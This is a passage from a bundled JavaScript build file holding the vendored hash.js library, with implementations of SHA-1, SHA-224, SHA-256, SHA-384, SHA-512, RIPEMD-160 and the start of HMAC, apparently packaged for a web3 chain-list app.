= lo + cl >>> 0;\n carry += lo < cl ? 1 : 0;\n lo = lo + dl >>> 0;\n carry += lo < dl ? 1 : 0;\n lo = lo + el >>> 0;\n carry += lo < el ? 1 : 0;\n var hi = ah + bh + ch + dh + eh + carry;\n return hi >>> 0;\n }\n exports.sum64_5_hi = sum64_5_hi;\n function sum64_5_lo(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {\n var lo = al + bl + cl + dl + el;\n return lo >>> 0;\n }\n exports.sum64_5_lo = sum64_5_lo;\n function rotr64_hi(ah, al, num) {\n var r2 = al << 32 - num | ah >>> num;\n return r2 >>> 0;\n }\n exports.rotr64_hi = rotr64_hi;\n function rotr64_lo(ah, al, num) {\n var r2 = ah << 32 - num | al >>> num;\n return r2 >>> 0;\n }\n exports.rotr64_lo = rotr64_lo;\n function shr64_hi(ah, al, num) {\n return ah >>> num;\n }\n exports.shr64_hi = shr64_hi;\n function shr64_lo(ah, al, num) {\n var r2 = ah << 32 - num | al >>> num;\n return r2 >>> 0;\n }\n exports.shr64_lo = shr64_lo;\n }\n});\n\n// node_modules/hash.js/lib/hash/common.js\nvar require_common = __commonJS({\n \"node_modules/hash.js/lib/hash/common.js\"(exports) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var utils = require_utils();\n var assert2 = require_minimalistic_assert();\n function BlockHash() {\n this.pending = null;\n this.pendingTotal = 0;\n this.blockSize = this.constructor.blockSize;\n this.outSize = this.constructor.outSize;\n this.hmacStrength = this.constructor.hmacStrength;\n this.padLength = this.constructor.padLength / 8;\n this.endian = \"big\";\n this._delta8 = this.blockSize / 8;\n this._delta32 = this.blockSize / 32;\n }\n exports.BlockHash = BlockHash;\n BlockHash.prototype.update = function update2(msg, enc) {\n msg = utils.toArray(msg, enc);\n if (!this.pending)\n this.pending = msg;\n else\n this.pending = this.pending.concat(msg);\n this.pendingTotal += msg.length;\n if (this.pending.length >= this._delta8) {\n msg = this.pending;\n var r2 = msg.length % this._delta8;\n this.pending = msg.slice(msg.length - r2, msg.length);\n if (this.pending.length === 0)\n this.pending = null;\n msg = utils.join32(msg, 0, msg.length - r2, this.endian);\n for (var i = 0; i < msg.length; i += this._delta32)\n this._update(msg, i, i + this._delta32);\n }\n return this;\n };\n BlockHash.prototype.digest = function digest(enc) {\n this.update(this._pad());\n assert2(this.pending === null);\n return this._digest(enc);\n };\n BlockHash.prototype._pad = function pad() {\n var len = this.pendingTotal;\n var bytes = this._delta8;\n var k = bytes - (len + this.padLength) % bytes;\n var res = new Array(k + this.padLength);\n res[0] = 128;\n for (var i = 1; i < k; i++)\n res[i] = 0;\n len <<= 3;\n if (this.endian === \"big\") {\n for (var t = 8; t < this.padLength; t++)\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = len >>> 24 & 255;\n res[i++] = len >>> 16 & 255;\n res[i++] = len >>> 8 & 255;\n res[i++] = len & 255;\n } else {\n res[i++] = len & 255;\n res[i++] = len >>> 8 & 255;\n res[i++] = len >>> 16 & 255;\n res[i++] = len >>> 24 & 255;\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = 0;\n for (t = 8; t < this.padLength; t++)\n res[i++] = 0;\n }\n return res;\n };\n }\n});\n\n// node_modules/hash.js/lib/hash/sha/common.js\nvar require_common2 = __commonJS({\n \"node_modules/hash.js/lib/hash/sha/common.js\"(exports) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var utils = require_utils();\n var rotr32 = utils.rotr32;\n function ft_1(s, x, y, z) {\n if (s === 0)\n return ch32(x, y, z);\n if (s === 1 || s === 3)\n return p32(x, y, z);\n if (s === 2)\n return maj32(x, y, z);\n }\n exports.ft_1 = ft_1;\n function ch32(x, y, z) {\n return x & y ^ ~x & z;\n }\n exports.ch32 = ch32;\n function maj32(x, y, z) {\n return x & y ^ x & z ^ y & z;\n }\n exports.maj32 = maj32;\n function p32(x, y, z) {\n return x ^ y ^ z;\n }\n exports.p32 = p32;\n function s0_256(x) {\n return rotr32(x, 2) ^ rotr32(x, 13) ^ rotr32(x, 22);\n }\n exports.s0_256 = s0_256;\n function s1_256(x) {\n return rotr32(x, 6) ^ rotr32(x, 11) ^ rotr32(x, 25);\n }\n exports.s1_256 = s1_256;\n function g0_256(x) {\n return rotr32(x, 7) ^ rotr32(x, 18) ^ x >>> 3;\n }\n exports.g0_256 = g0_256;\n function g1_256(x) {\n return rotr32(x, 17) ^ rotr32(x, 19) ^ x >>> 10;\n }\n exports.g1_256 = g1_256;\n }\n});\n\n// node_modules/hash.js/lib/hash/sha/1.js\nvar require__ = __commonJS({\n \"node_modules/hash.js/lib/hash/sha/1.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var utils = require_utils();\n var common = require_common();\n var shaCommon = require_common2();\n var rotl32 = utils.rotl32;\n var sum32 = utils.sum32;\n var sum32_5 = utils.sum32_5;\n var ft_1 = shaCommon.ft_1;\n var BlockHash = common.BlockHash;\n var sha1_K = [\n 1518500249,\n 1859775393,\n 2400959708,\n 3395469782\n ];\n function SHA1() {\n if (!(this instanceof SHA1))\n return new SHA1();\n BlockHash.call(this);\n this.h = [\n 1732584193,\n 4023233417,\n 2562383102,\n 271733878,\n 3285377520\n ];\n this.W = new Array(80);\n }\n utils.inherits(SHA1, BlockHash);\n module.exports = SHA1;\n SHA1.blockSize = 512;\n SHA1.outSize = 160;\n SHA1.hmacStrength = 80;\n SHA1.padLength = 64;\n SHA1.prototype._update = function _update(msg, start) {\n var W = this.W;\n for (var i = 0; i < 16; i++)\n W[i] = msg[start + i];\n for (; i < W.length; i++)\n W[i] = rotl32(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);\n var a = this.h[0];\n var b = this.h[1];\n var c = this.h[2];\n var d = this.h[3];\n var e = this.h[4];\n for (i = 0; i < W.length; i++) {\n var s = ~~(i / 20);\n var t = sum32_5(rotl32(a, 5), ft_1(s, b, c, d), e, W[i], sha1_K[s]);\n e = d;\n d = c;\n c = rotl32(b, 30);\n b = a;\n a = t;\n }\n this.h[0] = sum32(this.h[0], a);\n this.h[1] = sum32(this.h[1], b);\n this.h[2] = sum32(this.h[2], c);\n this.h[3] = sum32(this.h[3], d);\n this.h[4] = sum32(this.h[4], e);\n };\n SHA1.prototype._digest = function digest(enc) {\n if (enc === \"hex\")\n return utils.toHex32(this.h, \"big\");\n else\n return utils.split32(this.h, \"big\");\n };\n }\n});\n\n// node_modules/hash.js/lib/hash/sha/256.js\nvar require__2 = __commonJS({\n \"node_modules/hash.js/lib/hash/sha/256.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var utils = require_utils();\n var common = require_common();\n var shaCommon = require_common2();\n var assert2 = require_minimalistic_assert();\n var sum32 = utils.sum32;\n var sum32_4 = utils.sum32_4;\n var sum32_5 = utils.sum32_5;\n var ch32 = shaCommon.ch32;\n var maj32 = shaCommon.maj32;\n var s0_256 = shaCommon.s0_256;\n var s1_256 = shaCommon.s1_256;\n var g0_256 = shaCommon.g0_256;\n var g1_256 = shaCommon.g1_256;\n var BlockHash = common.BlockHash;\n var sha256_K = [\n 1116352408,\n 1899447441,\n 3049323471,\n 3921009573,\n 961987163,\n 1508970993,\n 2453635748,\n 2870763221,\n 3624381080,\n 310598401,\n 607225278,\n 1426881987,\n 1925078388,\n 2162078206,\n 2614888103,\n 3248222580,\n 3835390401,\n 4022224774,\n 264347078,\n 604807628,\n 770255983,\n 1249150122,\n 1555081692,\n 1996064986,\n 2554220882,\n 2821834349,\n 2952996808,\n 3210313671,\n 3336571891,\n 3584528711,\n 113926993,\n 338241895,\n 666307205,\n 773529912,\n 1294757372,\n 1396182291,\n 1695183700,\n 1986661051,\n 2177026350,\n 2456956037,\n 2730485921,\n 2820302411,\n 3259730800,\n 3345764771,\n 3516065817,\n 3600352804,\n 4094571909,\n 275423344,\n 430227734,\n 506948616,\n 659060556,\n 883997877,\n 958139571,\n 1322822218,\n 1537002063,\n 1747873779,\n 1955562222,\n 2024104815,\n 2227730452,\n 2361852424,\n 2428436474,\n 2756734187,\n 3204031479,\n 3329325298\n ];\n function SHA256() {\n if (!(this instanceof SHA256))\n return new SHA256();\n BlockHash.call(this);\n this.h = [\n 1779033703,\n 3144134277,\n 1013904242,\n 2773480762,\n 1359893119,\n 2600822924,\n 528734635,\n 1541459225\n ];\n this.k = sha256_K;\n this.W = new Array(64);\n }\n utils.inherits(SHA256, BlockHash);\n module.exports = SHA256;\n SHA256.blockSize = 512;\n SHA256.outSize = 256;\n SHA256.hmacStrength = 192;\n SHA256.padLength = 64;\n SHA256.prototype._update = function _update(msg, start) {\n var W = this.W;\n for (var i = 0; i < 16; i++)\n W[i] = msg[start + i];\n for (; i < W.length; i++)\n W[i] = sum32_4(g1_256(W[i - 2]), W[i - 7], g0_256(W[i - 15]), W[i - 16]);\n var a = this.h[0];\n var b = this.h[1];\n var c = this.h[2];\n var d = this.h[3];\n var e = this.h[4];\n var f = this.h[5];\n var g = this.h[6];\n var h = this.h[7];\n assert2(this.k.length === W.length);\n for (i = 0; i < W.length; i++) {\n var T1 = sum32_5(h, s1_256(e), ch32(e, f, g), this.k[i], W[i]);\n var T2 = sum32(s0_256(a), maj32(a, b, c));\n h = g;\n g = f;\n f = e;\n e = sum32(d, T1);\n d = c;\n c = b;\n b = a;\n a = sum32(T1, T2);\n }\n this.h[0] = sum32(this.h[0], a);\n this.h[1] = sum32(this.h[1], b);\n this.h[2] = sum32(this.h[2], c);\n this.h[3] = sum32(this.h[3], d);\n this.h[4] = sum32(this.h[4], e);\n this.h[5] = sum32(this.h[5], f);\n this.h[6] = sum32(this.h[6], g);\n this.h[7] = sum32(this.h[7], h);\n };\n SHA256.prototype._digest = function digest(enc) {\n if (enc === \"hex\")\n return utils.toHex32(this.h, \"big\");\n else\n return utils.split32(this.h, \"big\");\n };\n }\n});\n\n// node_modules/hash.js/lib/hash/sha/224.js\nvar require__3 = __commonJS({\n \"node_modules/hash.js/lib/hash/sha/224.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var utils = require_utils();\n var SHA256 = require__2();\n function SHA224() {\n if (!(this instanceof SHA224))\n return new SHA224();\n SHA256.call(this);\n this.h = [\n 3238371032,\n 914150663,\n 812702999,\n 4144912697,\n 4290775857,\n 1750603025,\n 1694076839,\n 3204075428\n ];\n }\n utils.inherits(SHA224, SHA256);\n module.exports = SHA224;\n SHA224.blockSize = 512;\n SHA224.outSize = 224;\n SHA224.hmacStrength = 192;\n SHA224.padLength = 64;\n SHA224.prototype._digest = function digest(enc) {\n if (enc === \"hex\")\n return utils.toHex32(this.h.slice(0, 7), \"big\");\n else\n return utils.split32(this.h.slice(0, 7), \"big\");\n };\n }\n});\n\n// node_modules/hash.js/lib/hash/sha/512.js\nvar require__4 = __commonJS({\n \"node_modules/hash.js/lib/hash/sha/512.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var utils = require_utils();\n var common = require_common();\n var assert2 = require_minimalistic_assert();\n var rotr64_hi = utils.rotr64_hi;\n var rotr64_lo = utils.rotr64_lo;\n var shr64_hi = utils.shr64_hi;\n var shr64_lo = utils.shr64_lo;\n var sum64 = utils.sum64;\n var sum64_hi = utils.sum64_hi;\n var sum64_lo = utils.sum64_lo;\n var sum64_4_hi = utils.sum64_4_hi;\n var sum64_4_lo = utils.sum64_4_lo;\n var sum64_5_hi = utils.sum64_5_hi;\n var sum64_5_lo = utils.sum64_5_lo;\n var BlockHash = common.BlockHash;\n var sha512_K = [\n 1116352408,\n 3609767458,\n 1899447441,\n 602891725,\n 3049323471,\n 3964484399,\n 3921009573,\n 2173295548,\n 961987163,\n 4081628472,\n 1508970993,\n 3053834265,\n 2453635748,\n 2937671579,\n 2870763221,\n 3664609560,\n 3624381080,\n 2734883394,\n 310598401,\n 1164996542,\n 607225278,\n 1323610764,\n 1426881987,\n 3590304994,\n 1925078388,\n 4068182383,\n 2162078206,\n 991336113,\n 2614888103,\n 633803317,\n 3248222580,\n 3479774868,\n 3835390401,\n 2666613458,\n 4022224774,\n 944711139,\n 264347078,\n 2341262773,\n 604807628,\n 2007800933,\n 770255983,\n 1495990901,\n 1249150122,\n 1856431235,\n 1555081692,\n 3175218132,\n 1996064986,\n 2198950837,\n 2554220882,\n 3999719339,\n 2821834349,\n 766784016,\n 2952996808,\n 2566594879,\n 3210313671,\n 3203337956,\n 3336571891,\n 1034457026,\n 3584528711,\n 2466948901,\n 113926993,\n 3758326383,\n 338241895,\n 168717936,\n 666307205,\n 1188179964,\n 773529912,\n 1546045734,\n 1294757372,\n 1522805485,\n 1396182291,\n 2643833823,\n 1695183700,\n 2343527390,\n 1986661051,\n 1014477480,\n 2177026350,\n 1206759142,\n 2456956037,\n 344077627,\n 2730485921,\n 1290863460,\n 2820302411,\n 3158454273,\n 3259730800,\n 3505952657,\n 3345764771,\n 106217008,\n 3516065817,\n 3606008344,\n 3600352804,\n 1432725776,\n 4094571909,\n 1467031594,\n 275423344,\n 851169720,\n 430227734,\n 3100823752,\n 506948616,\n 1363258195,\n 659060556,\n 3750685593,\n 883997877,\n 3785050280,\n 958139571,\n 3318307427,\n 1322822218,\n 3812723403,\n 1537002063,\n 2003034995,\n 1747873779,\n 3602036899,\n 1955562222,\n 1575990012,\n 2024104815,\n 1125592928,\n 2227730452,\n 2716904306,\n 2361852424,\n 442776044,\n 2428436474,\n 593698344,\n 2756734187,\n 3733110249,\n 3204031479,\n 2999351573,\n 3329325298,\n 3815920427,\n 3391569614,\n 3928383900,\n 3515267271,\n 566280711,\n 3940187606,\n 3454069534,\n 4118630271,\n 4000239992,\n 116418474,\n 1914138554,\n 174292421,\n 2731055270,\n 289380356,\n 3203993006,\n 460393269,\n 320620315,\n 685471733,\n 587496836,\n 852142971,\n 1086792851,\n 1017036298,\n 365543100,\n 1126000580,\n 2618297676,\n 1288033470,\n 3409855158,\n 1501505948,\n 4234509866,\n 1607167915,\n 987167468,\n 1816402316,\n 1246189591\n ];\n function SHA512() {\n if (!(this instanceof SHA512))\n return new SHA512();\n BlockHash.call(this);\n this.h = [\n 1779033703,\n 4089235720,\n 3144134277,\n 2227873595,\n 1013904242,\n 4271175723,\n 2773480762,\n 1595750129,\n 1359893119,\n 2917565137,\n 2600822924,\n 725511199,\n 528734635,\n 4215389547,\n 1541459225,\n 327033209\n ];\n this.k = sha512_K;\n this.W = new Array(160);\n }\n utils.inherits(SHA512, BlockHash);\n module.exports = SHA512;\n SHA512.blockSize = 1024;\n SHA512.outSize = 512;\n SHA512.hmacStrength = 192;\n SHA512.padLength = 128;\n SHA512.prototype._prepareBlock = function _prepareBlock(msg, start) {\n var W = this.W;\n for (var i = 0; i < 32; i++)\n W[i] = msg[start + i];\n for (; i < W.length; i += 2) {\n var c0_hi = g1_512_hi(W[i - 4], W[i - 3]);\n var c0_lo = g1_512_lo(W[i - 4], W[i - 3]);\n var c1_hi = W[i - 14];\n var c1_lo = W[i - 13];\n var c2_hi = g0_512_hi(W[i - 30], W[i - 29]);\n var c2_lo = g0_512_lo(W[i - 30], W[i - 29]);\n var c3_hi = W[i - 32];\n var c3_lo = W[i - 31];\n W[i] = sum64_4_hi(\n c0_hi,\n c0_lo,\n c1_hi,\n c1_lo,\n c2_hi,\n c2_lo,\n c3_hi,\n c3_lo\n );\n W[i + 1] = sum64_4_lo(\n c0_hi,\n c0_lo,\n c1_hi,\n c1_lo,\n c2_hi,\n c2_lo,\n c3_hi,\n c3_lo\n );\n }\n };\n SHA512.prototype._update = function _update(msg, start) {\n this._prepareBlock(msg, start);\n var W = this.W;\n var ah = this.h[0];\n var al = this.h[1];\n var bh = this.h[2];\n var bl = this.h[3];\n var ch = this.h[4];\n var cl = this.h[5];\n var dh = this.h[6];\n var dl = this.h[7];\n var eh = this.h[8];\n var el = this.h[9];\n var fh = this.h[10];\n var fl = this.h[11];\n var gh = this.h[12];\n var gl = this.h[13];\n var hh = this.h[14];\n var hl = this.h[15];\n assert2(this.k.length === W.length);\n for (var i = 0; i < W.length; i += 2) {\n var c0_hi = hh;\n var c0_lo = hl;\n var c1_hi = s1_512_hi(eh, el);\n var c1_lo = s1_512_lo(eh, el);\n var c2_hi = ch64_hi(eh, el, fh, fl, gh, gl);\n var c2_lo = ch64_lo(eh, el, fh, fl, gh, gl);\n var c3_hi = this.k[i];\n var c3_lo = this.k[i + 1];\n var c4_hi = W[i];\n var c4_lo = W[i + 1];\n var T1_hi = sum64_5_hi(\n c0_hi,\n c0_lo,\n c1_hi,\n c1_lo,\n c2_hi,\n c2_lo,\n c3_hi,\n c3_lo,\n c4_hi,\n c4_lo\n );\n var T1_lo = sum64_5_lo(\n c0_hi,\n c0_lo,\n c1_hi,\n c1_lo,\n c2_hi,\n c2_lo,\n c3_hi,\n c3_lo,\n c4_hi,\n c4_lo\n );\n c0_hi = s0_512_hi(ah, al);\n c0_lo = s0_512_lo(ah, al);\n c1_hi = maj64_hi(ah, al, bh, bl, ch, cl);\n c1_lo = maj64_lo(ah, al, bh, bl, ch, cl);\n var T2_hi = sum64_hi(c0_hi, c0_lo, c1_hi, c1_lo);\n var T2_lo = sum64_lo(c0_hi, c0_lo, c1_hi, c1_lo);\n hh = gh;\n hl = gl;\n gh = fh;\n gl = fl;\n fh = eh;\n fl = el;\n eh = sum64_hi(dh, dl, T1_hi, T1_lo);\n el = sum64_lo(dl, dl, T1_hi, T1_lo);\n dh = ch;\n dl = cl;\n ch = bh;\n cl = bl;\n bh = ah;\n bl = al;\n ah = sum64_hi(T1_hi, T1_lo, T2_hi, T2_lo);\n al = sum64_lo(T1_hi, T1_lo, T2_hi, T2_lo);\n }\n sum64(this.h, 0, ah, al);\n sum64(this.h, 2, bh, bl);\n sum64(this.h, 4, ch, cl);\n sum64(this.h, 6, dh, dl);\n sum64(this.h, 8, eh, el);\n sum64(this.h, 10, fh, fl);\n sum64(this.h, 12, gh, gl);\n sum64(this.h, 14, hh, hl);\n };\n SHA512.prototype._digest = function digest(enc) {\n if (enc === \"hex\")\n return utils.toHex32(this.h, \"big\");\n else\n return utils.split32(this.h, \"big\");\n };\n function ch64_hi(xh, xl, yh, yl, zh) {\n var r2 = xh & yh ^ ~xh & zh;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function ch64_lo(xh, xl, yh, yl, zh, zl) {\n var r2 = xl & yl ^ ~xl & zl;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function maj64_hi(xh, xl, yh, yl, zh) {\n var r2 = xh & yh ^ xh & zh ^ yh & zh;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function maj64_lo(xh, xl, yh, yl, zh, zl) {\n var r2 = xl & yl ^ xl & zl ^ yl & zl;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function s0_512_hi(xh, xl) {\n var c0_hi = rotr64_hi(xh, xl, 28);\n var c1_hi = rotr64_hi(xl, xh, 2);\n var c2_hi = rotr64_hi(xl, xh, 7);\n var r2 = c0_hi ^ c1_hi ^ c2_hi;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function s0_512_lo(xh, xl) {\n var c0_lo = rotr64_lo(xh, xl, 28);\n var c1_lo = rotr64_lo(xl, xh, 2);\n var c2_lo = rotr64_lo(xl, xh, 7);\n var r2 = c0_lo ^ c1_lo ^ c2_lo;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function s1_512_hi(xh, xl) {\n var c0_hi = rotr64_hi(xh, xl, 14);\n var c1_hi = rotr64_hi(xh, xl, 18);\n var c2_hi = rotr64_hi(xl, xh, 9);\n var r2 = c0_hi ^ c1_hi ^ c2_hi;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function s1_512_lo(xh, xl) {\n var c0_lo = rotr64_lo(xh, xl, 14);\n var c1_lo = rotr64_lo(xh, xl, 18);\n var c2_lo = rotr64_lo(xl, xh, 9);\n var r2 = c0_lo ^ c1_lo ^ c2_lo;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function g0_512_hi(xh, xl) {\n var c0_hi = rotr64_hi(xh, xl, 1);\n var c1_hi = rotr64_hi(xh, xl, 8);\n var c2_hi = shr64_hi(xh, xl, 7);\n var r2 = c0_hi ^ c1_hi ^ c2_hi;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function g0_512_lo(xh, xl) {\n var c0_lo = rotr64_lo(xh, xl, 1);\n var c1_lo = rotr64_lo(xh, xl, 8);\n var c2_lo = shr64_lo(xh, xl, 7);\n var r2 = c0_lo ^ c1_lo ^ c2_lo;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function g1_512_hi(xh, xl) {\n var c0_hi = rotr64_hi(xh, xl, 19);\n var c1_hi = rotr64_hi(xl, xh, 29);\n var c2_hi = shr64_hi(xh, xl, 6);\n var r2 = c0_hi ^ c1_hi ^ c2_hi;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n function g1_512_lo(xh, xl) {\n var c0_lo = rotr64_lo(xh, xl, 19);\n var c1_lo = rotr64_lo(xl, xh, 29);\n var c2_lo = shr64_lo(xh, xl, 6);\n var r2 = c0_lo ^ c1_lo ^ c2_lo;\n if (r2 < 0)\n r2 += 4294967296;\n return r2;\n }\n }\n});\n\n// node_modules/hash.js/lib/hash/sha/384.js\nvar require__5 = __commonJS({\n \"node_modules/hash.js/lib/hash/sha/384.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var utils = require_utils();\n var SHA512 = require__4();\n function SHA384() {\n if (!(this instanceof SHA384))\n return new SHA384();\n SHA512.call(this);\n this.h = [\n 3418070365,\n 3238371032,\n 1654270250,\n 914150663,\n 2438529370,\n 812702999,\n 355462360,\n 4144912697,\n 1731405415,\n 4290775857,\n 2394180231,\n 1750603025,\n 3675008525,\n 1694076839,\n 1203062813,\n 3204075428\n ];\n }\n utils.inherits(SHA384, SHA512);\n module.exports = SHA384;\n SHA384.blockSize = 1024;\n SHA384.outSize = 384;\n SHA384.hmacStrength = 192;\n SHA384.padLength = 128;\n SHA384.prototype._digest = function digest(enc) {\n if (enc === \"hex\")\n return utils.toHex32(this.h.slice(0, 12), \"big\");\n else\n return utils.split32(this.h.slice(0, 12), \"big\");\n };\n }\n});\n\n// node_modules/hash.js/lib/hash/sha.js\nvar require_sha = __commonJS({\n \"node_modules/hash.js/lib/hash/sha.js\"(exports) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n exports.sha1 = require__();\n exports.sha224 = require__3();\n exports.sha256 = require__2();\n exports.sha384 = require__5();\n exports.sha512 = require__4();\n }\n});\n\n// node_modules/hash.js/lib/hash/ripemd.js\nvar require_ripemd = __commonJS({\n \"node_modules/hash.js/lib/hash/ripemd.js\"(exports) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var utils = require_utils();\n var common = require_common();\n var rotl32 = utils.rotl32;\n var sum32 = utils.sum32;\n var sum32_3 = utils.sum32_3;\n var sum32_4 = utils.sum32_4;\n var BlockHash = common.BlockHash;\n function RIPEMD160() {\n if (!(this instanceof RIPEMD160))\n return new RIPEMD160();\n BlockHash.call(this);\n this.h = [1732584193, 4023233417, 2562383102, 271733878, 3285377520];\n this.endian = \"little\";\n }\n utils.inherits(RIPEMD160, BlockHash);\n exports.ripemd160 = RIPEMD160;\n RIPEMD160.blockSize = 512;\n RIPEMD160.outSize = 160;\n RIPEMD160.hmacStrength = 192;\n RIPEMD160.padLength = 64;\n RIPEMD160.prototype._update = function update2(msg, start) {\n var A = this.h[0];\n var B = this.h[1];\n var C = this.h[2];\n var D = this.h[3];\n var E = this.h[4];\n var Ah = A;\n var Bh = B;\n var Ch = C;\n var Dh = D;\n var Eh = E;\n for (var j = 0; j < 80; j++) {\n var T = sum32(\n rotl32(\n sum32_4(A, f(j, B, C, D), msg[r2[j] + start], K(j)),\n s[j]\n ),\n E\n );\n A = E;\n E = D;\n D = rotl32(C, 10);\n C = B;\n B = T;\n T = sum32(\n rotl32(\n sum32_4(Ah, f(79 - j, Bh, Ch, Dh), msg[rh[j] + start], Kh(j)),\n sh[j]\n ),\n Eh\n );\n Ah = Eh;\n Eh = Dh;\n Dh = rotl32(Ch, 10);\n Ch = Bh;\n Bh = T;\n }\n T = sum32_3(this.h[1], C, Dh);\n this.h[1] = sum32_3(this.h[2], D, Eh);\n this.h[2] = sum32_3(this.h[3], E, Ah);\n this.h[3] = sum32_3(this.h[4], A, Bh);\n this.h[4] = sum32_3(this.h[0], B, Ch);\n this.h[0] = T;\n };\n RIPEMD160.prototype._digest = function digest(enc) {\n if (enc === \"hex\")\n return utils.toHex32(this.h, \"little\");\n else\n return utils.split32(this.h, \"little\");\n };\n function f(j, x, y, z) {\n if (j <= 15)\n return x ^ y ^ z;\n else if (j <= 31)\n return x & y | ~x & z;\n else if (j <= 47)\n return (x | ~y) ^ z;\n else if (j <= 63)\n return x & z | y & ~z;\n else\n return x ^ (y | ~z);\n }\n function K(j) {\n if (j <= 15)\n return 0;\n else if (j <= 31)\n return 1518500249;\n else if (j <= 47)\n return 1859775393;\n else if (j <= 63)\n return 2400959708;\n else\n return 2840853838;\n }\n function Kh(j) {\n if (j <= 15)\n return 1352829926;\n else if (j <= 31)\n return 1548603684;\n else if (j <= 47)\n return 1836072691;\n else if (j <= 63)\n return 2053994217;\n else\n return 0;\n }\n var r2 = [\n 0,\n 1,\n 2,\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 11,\n 12,\n 13,\n 14,\n 15,\n 7,\n 4,\n 13,\n 1,\n 10,\n 6,\n 15,\n 3,\n 12,\n 0,\n 9,\n 5,\n 2,\n 14,\n 11,\n 8,\n 3,\n 10,\n 14,\n 4,\n 9,\n 15,\n 8,\n 1,\n 2,\n 7,\n 0,\n 6,\n 13,\n 11,\n 5,\n 12,\n 1,\n 9,\n 11,\n 10,\n 0,\n 8,\n 12,\n 4,\n 13,\n 3,\n 7,\n 15,\n 14,\n 5,\n 6,\n 2,\n 4,\n 0,\n 5,\n 9,\n 7,\n 12,\n 2,\n 10,\n 14,\n 1,\n 3,\n 8,\n 11,\n 6,\n 15,\n 13\n ];\n var rh = [\n 5,\n 14,\n 7,\n 0,\n 9,\n 2,\n 11,\n 4,\n 13,\n 6,\n 15,\n 8,\n 1,\n 10,\n 3,\n 12,\n 6,\n 11,\n 3,\n 7,\n 0,\n 13,\n 5,\n 10,\n 14,\n 15,\n 8,\n 12,\n 4,\n 9,\n 1,\n 2,\n 15,\n 5,\n 1,\n 3,\n 7,\n 14,\n 6,\n 9,\n 11,\n 8,\n 12,\n 2,\n 10,\n 0,\n 4,\n 13,\n 8,\n 6,\n 4,\n 1,\n 3,\n 11,\n 15,\n 0,\n 5,\n 12,\n 2,\n 13,\n 9,\n 7,\n 10,\n 14,\n 12,\n 15,\n 10,\n 4,\n 1,\n 5,\n 8,\n 7,\n 6,\n 2,\n 13,\n 14,\n 0,\n 3,\n 9,\n 11\n ];\n var s = [\n 11,\n 14,\n 15,\n 12,\n 5,\n 8,\n 7,\n 9,\n 11,\n 13,\n 14,\n 15,\n 6,\n 7,\n 9,\n 8,\n 7,\n 6,\n 8,\n 13,\n 11,\n 9,\n 7,\n 15,\n 7,\n 12,\n 15,\n 9,\n 11,\n 7,\n 13,\n 12,\n 11,\n 13,\n 6,\n 7,\n 14,\n 9,\n 13,\n 15,\n 14,\n 8,\n 13,\n 6,\n 5,\n 12,\n 7,\n 5,\n 11,\n 12,\n 14,\n 15,\n 14,\n 15,\n 9,\n 8,\n 9,\n 14,\n 5,\n 6,\n 8,\n 6,\n 5,\n 12,\n 9,\n 15,\n 5,\n 11,\n 6,\n 8,\n 13,\n 12,\n 5,\n 12,\n 13,\n 14,\n 11,\n 8,\n 5,\n 6\n ];\n var sh = [\n 8,\n 9,\n 9,\n 11,\n 13,\n 15,\n 15,\n 5,\n 7,\n 7,\n 8,\n 11,\n 14,\n 14,\n 12,\n 6,\n 9,\n 13,\n 15,\n 7,\n 12,\n 8,\n 9,\n 11,\n 7,\n 7,\n 12,\n 7,\n 6,\n 15,\n 13,\n 11,\n 9,\n 7,\n 15,\n 11,\n 8,\n 6,\n 6,\n 14,\n 12,\n 13,\n 5,\n 14,\n 13,\n 13,\n 7,\n 5,\n 15,\n 5,\n 8,\n 11,\n 14,\n 14,\n 6,\n 14,\n 6,\n 9,\n 12,\n 9,\n 12,\n 5,\n 15,\n 8,\n 8,\n 5,\n 12,\n 9,\n 12,\n 5,\n 14,\n 6,\n 8,\n 13,\n 6,\n 5,\n 15,\n 13,\n 11,\n 11\n ];\n }\n});\n\n// node_modules/hash.js/lib/hash/hmac.js\nvar require_hmac = __commonJS({\n \"node_modules/hash.js/lib/hash/hmac.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var utils = require_utils();\n var assert2 = require_minimalistic_assert();\n function Hmac(hash3, key2, enc) {\n if (!(this instanceof Hmac))\n return new Hmac(hash3, key2, enc);\n this.Hash = hash3;\n this.blockSize = hash3.blockSize / 8;\n this.outSize = hash3.outSize / 8;\n this.inner = null;\n this.outer = null;\n this._init(utils.toArray(key2, enc));\n }\n module.exports = Hmac;\n Hmac.prototype._init = function init2(key2) {\n if (key2.length > this.blockSize)\n key2 = new this.Hash().update(key2).digest();\n assert2(key2.length <= this.blockSize);\n for (var i = key2.length; i < this.blockSize; i++)\n key2.push(0);\n for (i = 0; i < key2.length; i++)\n key2[i] ^= 54;\n this.inner = new 